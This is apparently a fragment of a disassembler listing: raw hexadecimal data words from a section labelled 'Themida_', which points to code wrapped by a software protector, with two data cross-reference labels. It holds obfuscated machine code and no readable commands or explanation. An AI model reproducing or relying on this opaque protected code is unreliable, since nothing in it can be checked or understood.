		dd 1A042444h, 46000000h, 0B820C356h, 1EDE222Bh,	9D3353B5h
		dd 6140A49h, 0A71FBF5Bh, 0B802FEh, 8D000000h, 144D798Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD8B89BCh, 6143209h, 8E9E1FFh, 0C000000h
		dd 3CE1B55Bh, 83C22FE2h, 142671BDh, 840F0006h, 439h, 0BD9BD8Bh
		dd 6DBF0614h, 83298F1Fh, 142671BDh, 840F0106h, 43Ch, 83D8B70Fh
		dd 142671BDh, 860F0306h, 3F6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 9BC35141h, 0B23A56A3h, 0DE9DFh
		dd 0EF840000h, 0B716DFBAh, 2FFF222h, 60FB2137h,	2A619D8Bh
		dd 0F3810614h, 331F529Bh, 6AD98C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E8DC350h
		dd 6E880h, 14FC0000h, 0E044842Fh, 5A0CBF66h, 93C7805Bh
		dd 6604E180h, 0ABFE9BBh, 64840FC9h, 66000001h, 858BFA8Bh
		dd 6141969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0A9C35141h, 6DB9A40Eh, 81985A8Bh, 0D4E195D7h, 0DBD8B6Dh
		dd 3306142Ah, 141B8185h, 9D8B5006h, 61421BDh, 6650905Bh
		dd 6A90D88Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9FC2C355h, 50527A09h, 2C419D8Bh
		dd 895F0614h, 140055BDh, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F25C357h
		dd 38Bh, 0E8CF8000h, 0D113F768h, 0EE99Ah, 0ACED0000h, 15DCA483h
		dd 6BEF5BFEh, 0BE9585A0h, 8240481h, 6A654DF0h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0FB80C355h, 494FBBDBh, 0F0F7CA3h, 68Ah, 64D38100h, 8965FBF2h
		dd 1431A995h, 459D8906h, 0FF061408h, 1409AD95h,	81BD8B06h
		dd 89061405h, 17AA9885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 58D0F37h, 66000000h, 0E1AECB81h
		dd 194E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 2B6499B9h, 8010A5DEh, 816622D7h
		dd 8BE0ADD7h, 17AA9085h, 0DB816606h, 0C72C38h, 18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 19C35646h, 7B27D6C9h
		dd 880F4392h, 6, 8259589h, 8BF50614h, 17AA94B5h, 0F7816606h
		dd 858BFACAh, 6140B29h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 5FC35040h, 0FBBCE79Bh, 9DBD8BC7h, 8906141Ch
		dd 0EB816606h, 858B819Ah, 6141969h, 89044689h, 14042D9Dh
		dd 840F9606h, 0
		dd 8890F50h, 0F000000h,	287h, 965B5300h, 34BD9D89h, 0B5FF0614h
		dd 617AA90h, 0C2F2EF81h, 32685F90h, 66F6F550h, 8183C1BFh
		dd 0B3CD2404h, 81660929h, 8DF381D7h, 17AA9885h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C15ACAE6h, 2582DF06h, 14B1B531h, 0E8500614h, 10h, 8139130Ch
		dd 523E80C3h, 97AE0821h, 0F5D0F9B6h, 7E9h, 0B2B82100h
		dd 0FC9B0645h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0EDC35646h, 3830F2Eh,	66000000h, 95FFD98Bh
		dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	52C35747h, 0BD896190h, 61412EDh, 0C5EA12BFh, 7185C746h
		dd 3061426h, 0BF000000h, 2411652Fh, 6860Fh, 9D030000h
		dd 614319Dh, 0AA98BD83h, 0F000617h, 7184h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 8276C749h, 9E93C16h,	8000000h, 0E8D260Bh, 0F74A5380h
		dd 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 394F2B03h, 0DE7BF305h, 14E9F5h, 0AF010000h
		dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3050EA16h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0A18D89C0h, 0E8061423h, 9, 0F2E33005h, 2F1D9AD6h, 14E937h
		dd 0FF150000h, 0C0EDB50Fh, 85A17723h, 6B829D9Ch, 0AE4CAF35h
		dd 605BFDB3h, 12D1958Bh, 83610614h, 142671BDh, 850F0306h
		dd 402h, 37DBB66h, 0AA98BD83h, 0F000617h, 3F184h, 0C18B6000h
		dd 0C299501h, 0FF610614h, 17AA98B5h, 2D9D8B06h,	0FF061408h
		dd 142AF595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 172F7D17h, 9D8951F0h, 6140EA1h, 8CB58B5Fh
		dd 6A0617AAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0CBA9C356h, 0D20702AFh, 0CD8589DEh
		dd 0C7061408h, 1000106h, 0B1BD8900h, 50061409h,	9E9h, 477A0C00h
		dd 896E7BE3h, 34892FF5h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E7971527h, 1D9D8B38h
		dd 0FF061415h, 17AA98B5h, 1D9D8B06h, 0FF061432h, 140B3195h
		dd 58C0F06h, 66000000h,	0A00BE381h, 0AA8CB58Bh,	6A0617h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 880F7DC3h, 6, 9F19D33h, 858B0614h, 61421D5h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D8C35545h, 730CBB7Ah
		dd 898BB702h, 140A7D95h, 0C4868906h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 576AC357h, 0F56502Dh, 958BF8B7h, 6143229h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2FC35646h, 68286FF9h
		dd 835AB782h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 14E67DC3h, 85225059h, 0D88B929Fh
		dd 7E9h, 4F049200h, 0A307C978h,	6A205089h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 5FF9C357h
		dd 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h, 3880FF5h
		dd 0F000000h, 858DDAB7h, 617BE06h, 1BDBD33h, 86890614h
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0B7C35242h, 6AA5D88Eh, 0AAD96CBCh, 153DB501h, 6A0614h
		dd 0F2DB589h, 0B5FF0614h, 617AA98h, 3995FFF5h, 6A061409h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 2C42C350h, 0A8F3E4BFh, 50F88B96h,	10E8h
		dd 5BE0C900h, 7101F939h, 7FF3C99Ch, 828E018Ch, 0DE83Eh
		dd 72290000h, 9AA588C5h, 1B95900Ah, 57B72977h, 965F5B5Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E1C35343h
		dd 18439874h, 0B8E0F76h, 0E9000000h, 6,	8C09B948h, 0B5FF9DEBh
		dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	77C35141h, 1D00A178h, 0AEDBD8Bh, 95FF0614h, 61420F5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h
		dd 0CE8C565Dh, 459D2BFFh, 8306140Ch, 140C21BDh,	840F0006h
		dd 15h,	2BBDBD89h, 0BB960614h, 213933F1h, 96FB8B50h, 4CE38166h
		dd 98B5FF7Bh, 0B0617AAh, 1410AD9Dh, 0B195FF06h,	6A061402h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 76A7C352h, 2AA04AA2h, 6658EFB2h, 0B5FFD98Bh
		dd 617AA98h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	63C35545h, 17C4A772h, 14A4A4BFh, 8195FF26h, 0E8061430h
		dd 13h,	82AC9664h, 0FF854224h, 80D8033Fh, 0A2FB393Dh, 2BB3C05Dh
		dd 1421B19Dh, 0BD835B06h, 61409F5h, 0B840F02h, 0FC000000h
		dd 2D01858Bh, 0C6F50614h, 85C70000h, 614244Dh, 0
		dd 18A9B589h, 3AE90614h, 6AFFFFF3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6004C355h
		dd 0B5CF593Dh, 16258589h, 0C18B0614h, 0B9BD8Bh,	858D0614h
		dd 6140F99h, 1FC9BD8Bh,	0E8500614h, 6, 9A11AA50h, 8B66B05Eh
		dd 4895FDAh, 8E924h, 0B1440000h, 4C2658D2h, 6AD497h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A9C35747h, 0D30AEFD4h
		dd 0B7995D45h, 8B006A7Fh, 1425859Dh, 0C5858D06h, 0BB06188Dh
		dd 5BC3C022h, 8B05C083h, 1425F5BDh, 66609006h, 5769BBBAh
		dd 8A0Fh, 615B0000h, 0BD339050h, 6141091h, 9529006Ah, 614200Dh
		dd 8589006Ah, 6142281h,	1A7195FFh, 0BD8B0614h, 6142185h
		dd 0A8FC8D8Dh, 6A0617h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 81069BC3h, 94316192h, 0D1FFA5DCh
		dd 8E9h, 0CA926000h, 8152DE4Eh,	0CDBD8326h, 1061412h, 7E850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 7B6CF6C3h, 0D7F38061h, 0F50026Ah,	905BFBBFh
		dd 13E9h, 0F3DCDA00h, 6E136B20h, 45AD0091h, 0B0370BB7h
		dd 0F4CDF5F7h, 0AE950h,	0E63C0000h, 1BF32575h, 4B2013E5h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0FDBF8C93h, 0FF27AAFDh, 14093995h, 0D4E38006h
		dd 0D69E9h
		db 0
byte_5919A9	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0054AE60o
		dd 815D0000h, 188DCFEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 88082B2Eh, 8D43BF66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 43C35747h
		dd 0E9630B73h, 6, 41678D49h, 858DADF8h,	6179623h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F9C35747h, 219D8BABh
		dd 9006141Ah, 0FE9h, 0C6359000h, 0BE92941h, 0C1661E31h
		dd 0C091AE9Ah, 0FA8B6650h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD8BFBBBh
		dd 6140C55h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 403FC350h, 64C67673h
		dd 2589h, 0EB800000h, 0BD0B57EAh, 6142395h, 6D85FF5Bh
		dd 33061423h, 1403499Dh, 6AFF6A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2062C351h
		dd 0D8DF1CC0h, 619D8B5Ch, 0FF061408h, 1402E1B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0E02A5EB4h, 0EA84BB66h, 2B1995FFh, 0DFE90614h, 0B0000000h
		dd 0CD9D2900h, 0E6061418h, 0F9B70F70h, 0BE871E4h, 0DB000000h
		dd 6E25D64h, 0CD0E30BAh, 0C381B7FFh, 6BC942EAh,	0F613C5Fh
		dd 0B183h, 18BB6600h, 0C8B60F02h, 6BAh,	80C18B00h, 0E8C168C3h
		dd 58C0F04h, 0BF000000h, 23B8BE28h, 8BE2F766h, 142041BDh
		dd 31C82B06h, 1424E58Dh, 66D18B06h, 11E9FA8Bh, 31000000h
		dd 142429BDh, 958B6006h, 614109Dh, 61C38B66h, 6C1858Bh
		dd 8B660614h, 7C083DFh,	8900C083h, 1400B595h, 0FD03B06h
		dd 783h, 0E9FD8A00h, 42h, 0E2D8D8Bh, 0CB810614h, 61131BBAh
		dd 0F01E183h, 2D84h, 0E58D8900h, 8B061423h, 1408C5BDh
		dd 2DA58306h, 0FE06140Eh, 0F4CB8166h, 0C1958932h, 0F061406h
		dd 486h, 0B4BB6600h, 0E96Eh, 0B58D0000h, 617F9FFh, 0C006BF66h
		dd 0D7BF006Ah, 0FF09E893h, 14116995h, 0B9FE8A06h, 88Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DEC35646h
		dd 2746B000h, 8E941ABh,	0ED000000h, 0D804353Eh,	0F0DBF4Bh
		dd 0E183D8B7h, 0EDBD89FCh, 0FC061434h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 87C35646h, 0B9AF283Ch, 0D4CB8056h
		dd 0BE9h, 96CACA00h, 5825B8FAh,	0C14493D3h, 6AC02Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 4975B2C3h, 830FFC09h, 13h, 0BE8h, 0BC2AA200h, 436640ACh
		dd 6E66B54Eh, 2B5F5B52h, 0C233ADD2h, 0D003E8D1h, 7504E983h
		dd 57006AF4h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0BA36A7C4h, 5D606440h, 0DF96306h, 88h, 12E8h
		dd 0B7CB1100h, 160879C1h, 90CAF4DAh, 0A47804D5h, 5176E8F3h
		dd 0D2D78166h, 8B5F5F34h, 14322995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 88AA21A4h
		dd 0EF816620h, 8D8B9FE4h, 614064Dh, 0FE9h, 1188B100h, 11BC0568h
		dd 0B3E12214h, 808BA33Eh, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 0B70F5818h, 0F9BF0FFFh, 29ADBD83h, 0F000614h
		dd 9584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 85E7DA3Bh, 95CA4382h, 13E8CA0Dh
		dd 0DE000000h, 9A3DD322h, 48F0B132h, 135AAC4Eh,	9B96CD2Fh
		dd 0B85F11ACh, 0
		dd 4D4BCDBBh, 798D8D33h, 0F06144Dh, 1485h, 0FE900h, 7A830000h
		dd 804D6034h, 76F86458h, 744B92Dh, 6AE1FF74h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0C162C351h, 0CA276FFEh, 1C5C541h, 207D9D8Bh,	0BD830614h
		dd 6142671h, 3F840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 7605C351h
		dd 71BD8370h, 1061426h,	42F840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 24DD07C3h
		dd 6FBF6657h, 71BD8381h, 3061426h, 3C9860Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0D49C86C3h, 5CE4CAB0h, 0E960A4ABh, 10h, 6CF4E4E2h, 0E0B90171h
		dd 0DD07536Bh, 5C375724h, 8BD98C66h, 140BD1BDh,	4E18006h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h
		dd 0C90AE3AAh, 198840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 8F8623C3h, 2957D983h
		dd 140D199Dh, 69858B06h, 6A061419h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 66CDC352h
		dd 6EAFE381h, 1B818533h, 6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 4E294CC3h, 0A51E0E83h
		dd 0FBF6650h, 240489F5h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 69C35343h, 0BFAE33FFh, 798590B0h, 9589006Ah
		dd 614198Dh, 4E8h, 1F03FF00h, 6E96000h,	29000000h, 2D186079h
		dd 0DE8DBh, 7980000h, 0B5CB7F48h, 0D7E21451h, 0E84F2183h
		dd 0Bh,	147985ECh, 0AF25198Ah, 5BC2B03Ch, 0F50615Bh, 68Ah
		dd 0BB665600h, 8B5B2D0Bh, 0E9042444h, 11h, 982313AEh, 66BF1E88h
		dd 0BED0E10h, 8F5ED315h, 50008B4Bh, 0A8B4BB52h,	310F0DFFh
		dd 6880Fh, 860F0000h, 0
		dd 4489585Ah, 10E90424h, 0E8000000h, 88268C4Eh,	9E1DC3CCh
		dd 76AACFC8h, 58F6DCEFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 29C35545h, 2AB9BD8Bh,	95FF0614h, 61409ADh
		dd 31A59589h, 85890614h, 617AA98h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 1CC35040h, 129E9h, 66FA8B00h
		dd 858BDA8Bh, 617AA90h,	26619589h, 0C70614h, 18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F6C35646h, 94B58B54h
		dd 6A0617AAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 3F13C355h, 89E5EAF7h, 1420D9BDh
		dd 29858B06h, 6006140Bh, 0ED5B589h, 8D010614h, 61402DDh
		dd 0B3068961h, 69858BBBh, 0F061419h, 10E8FFB7h,	3A000000h
		dd 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 8B1538FCh, 46895FF9h
		dd 0D5B50104h, 50061420h, 89F98B66h, 10E82434h,	6A000000h
		dd 581D2D12h, 3C5D26DBh, 6C53225Eh, 8BDF6AC6h, 14081DBDh
		dd 0CB805F06h, 90B5FF01h, 0BF0617AAh, 29051AAAh, 23159D8Bh
		dd 4E680614h, 500C3FA8h, 29BF6652h, 0B3310FDBh,	81585A9Ch
		dd 0ABB12434h, 8D310C20h, 61412D1h, 0AA98858Dh,	0B5890617h
		dd 61403C5h, 0F525050h,	681h, 0F525000h, 0F585A31h, 3BBF6631h
		dd 89585A67h, 85892404h, 6142615h, 9AD95FFh, 60610614h
		dd 15FD9589h, 0C7610614h, 14267185h, 306h, 55006A00h
		db 0E8h, 3
word_5921B2	dw 0			; DATA XREF: Themida_:0054B760o
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 7D19F2ACh, 0F0BF5831h, 98BD8396h, 617AAh, 5D840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 575803C3h, 40B9DF81h, 0E95B422Eh, 4Eh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 0A8C35141h, 8F0F39AFh
		dd 0Fh,	9E8h, 53575000h, 35AB9B73h, 505FA5EFh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 39AC03C3h, 68E0FF4h,	81000000h, 69ADBFEFh, 56006A01h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 77C54B2Eh, 0CDFB92A3h, 13E853h, 187E0000h, 696939EBh
		dd 9B2838B9h, 7EA68CCEh, 38BCB610h, 0FE855h, 67FC0000h
		dd 0B614C5D6h, 0CC96C448h, 0FCB21931h, 5B5F5BFFh, 0BD83DE8Bh
		dd 6142671h, 0A8850F03h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 51EAC357h
		dd 0AA98BD83h, 0F000617h, 37E84h, 0D9850100h, 0FF061423h
		dd 17AA98B5h, 5CBB6606h, 0F595FFCAh, 0E906142Ah, 12h, 62356433h
		dd 0DF11E99Fh, 796EEBA7h, 0E84B532Fh, 0B58B2D9Eh, 617AA8Ch
		dd 9E8h, 95B34600h, 6B19E8FCh, 0EE937DAh, 77000000h, 0DA37E577h
		dd 516A38DBh, 0FB4F9DE3h, 6C75FE8h, 10001h, 0C118D89h
		dd 0F500614h, 382h, 0DF8B6600h,	0E9243489h, 0Dh, 0A4C69E73h
		dd 44D31BF1h, 0EBA92081h, 98B5FF58h, 6A0617AAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 665DC356h, 95FFF88Bh, 6140B31h, 305DBD8Bh, 0B58B0614h
		dd 617AA8Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0D0C35040h, 0F152AE9Dh,	4E1E89F9h, 0D5858BAAh
		dd 81061421h, 0D236BCDFh, 89FC8A77h, 0C486h, 0DFBF0F00h
		dd 3229958Bh, 0B5090614h, 61423E1h, 0BB04C283h,	2F5E797Fh
		dd 0E9205089h, 12h, 63486B77h, 0AA1FA414h, 6DBAD566h, 0DD6BF4Eh
		dd 858DB20Dh, 617BE06h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0E8C35141h, 10E96CACh, 85BD890Bh, 89061416h
		dd 0B886h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0BB3A4924h, 0CB81A4CCh, 0ADD3BD0h
		dd 0BF66006Ah, 0B5FF11DDh, 617AA98h, 93995FFh, 89500614h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 9D23D6C3h, 6140C95h, 0AA98B5FFh, 6A0617h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B510BC3h, 141CA99Dh, 0F595FF06h, 0F061420h,	0F83h
		dd 9E800h, 0EBD80000h, 0D3AF8279h, 5FCC5898h, 0C21BD83h
		dd 0F000614h, 3484h, 96D98B00h,	56525050h, 0F5FDF8Bh, 5B575031h
		dd 96585A5Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	10C35141h, 9158C319h, 98B5FF4Ah, 6A0617AAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 91E5C350h, 7178274Dh, 95FFEBD5h, 61402B1h, 0FF67DF80h
		dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 515F89C8h, 89EE061Eh, 141A21BDh
		dd 8195FF06h, 0F061430h, 0BD83F9B7h, 61409F5h, 87840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0D0BEC352h, 89578580h,	141FBD85h
		dd 858B5F06h, 6142D01h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D7C35141h, 0C8AE73F8h, 4DBD8BFFh, 6006140Dh
		dd 15319529h, 8C0F0614h, 2, 0C661D98Bh,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6D98EEC3h, 85C7CD34h, 614244Dh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h
		dd 0AE8h, 3EE50C00h, 0EE0B307Dh, 0E9672A0Fh, 8,	1184EAB4h
		dd 0D6E5742Ch, 6D85895Fh, 0E9061402h, 0FFFFF3E5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h, 85B52923h
		dd 8B061434h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0EDF0BCAEh, 92B5920Dh, 858D910Dh
		dd 6140F99h, 3840Fh, 0BF0F0000h, 0E96090FEh, 0Ah, 0F821921h
		dd 125F741Eh, 99BBE3F0h, 614A2345h, 49BB5350h, 5B23CBC9h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 6AF5F9D5h, 0D8B70F00h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 661818C3h, 0D1F9F381h, 9D37858Dh, 6A0618h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CA7045C3h
		dd 9D8BC5A4h, 6141C01h,	6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F36DC357h
		dd 0BD8B4543h, 6141AA9h, 0FE95750h, 0EF000000h,	5961AA80h
		dd 0ACC1C05Bh, 0C18F3497h, 895F4661h, 80B32404h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0DA116AC3h, 0AC40B2F5h, 8A0F3104h, 6, 9298589h, 0C3810614h
		dd 262967B3h, 8D89006Ah, 6141725h, 1A7195FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 70B971C3h, 8D89259Eh, 6141A89h, 0A8FC8D8Dh, 81600617h
		dd 109140EAh, 0FF61F94Bh, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E9CDFA8Dh
		dd 11h,	5952867Ch, 6A5D5C76h, 8EF4FE44h, 0FABCD83Fh, 0CDBD8346h
		dd 1061412h, 60850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 847D6AC3h, 26619D89h
		dd 26A0614h, 0BCC78166h, 13E950B1h, 0A1000000h,	0C0368D5Eh
		dd 5879F1D2h, 1FD58DF7h, 6C76A9D5h, 48917FBh, 95FFF924h
		dd 6140939h, 1404BF66h,	0E9858960h, 8B061414h, 1400C185h
		dd 56E96106h, 0E800000Eh, 0
		dd 41ED815Dh, 6A06189Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C703C350h,	998D09C0h
		dd 6A06141Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0C52BC352h, 75EC4617h,	9623858Dh
		dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 857FC2C3h, 0BF0F252Ah, 0D88B50F9h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 2C4C356h,	66C8547Eh, 0D3ECE781h, 35FF64h
		dd 8B000000h, 1416DDBDh, 25896406h, 0
		dd 2C9ABB66h, 236D85FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0BE6C8BC3h, 37DCBEF5h
		dd 10E94Bh, 0FBC0000h, 150E8828h, 4D246358h, 558560FCh
		dd 0FF6AED16h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0A1C35040h, 29D38166h, 1A8F0F98h, 0E8000000h, 0Eh
		dd 7775915h, 3C8EB3B1h,	94EB05E1h, 8D89131Eh, 61415C1h
		dd 4DB5FF5Fh, 6A06140Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 528BC351h, 82DE7EACh
		dd 38B0Fh, 0BF0F0000h, 1995FFDBh, 0E906142Bh, 110h, 0B0F8B70Fh
		dd 81853100h, 0E6061404h, 999D2370h, 6606141Ch,	921FEB81h
		dd 0B58971E4h, 61431CDh, 830F613Ch, 0E8h, 10EDBD8Bh, 0B60F0614h
		dd 0B800FC8h, 0E9000000h, 6, 0CA04EF2Eh, 6BA3F80h, 8B000000h
		dd 0FBF66C1h, 6D9D8B07h, 0C106141Dh, 0BD8B04E8h, 6141D05h
		dd 89E2F766h, 14170195h, 89C82B06h, 1408CDB5h, 0DD8D8906h
		dd 8B06142Ah, 10E8D1h, 0F4280000h, 0B2CBF600h, 0FF7040C6h
		dd 0ED7D1D30h, 0BB6649F8h, 0E95BC70Fh, 6, 34699D8Bh, 858B0614h
		dd 6141AB9h, 655BD8Bh, 0C0830614h, 0E9F6B307h, 10h, 1F686A8h
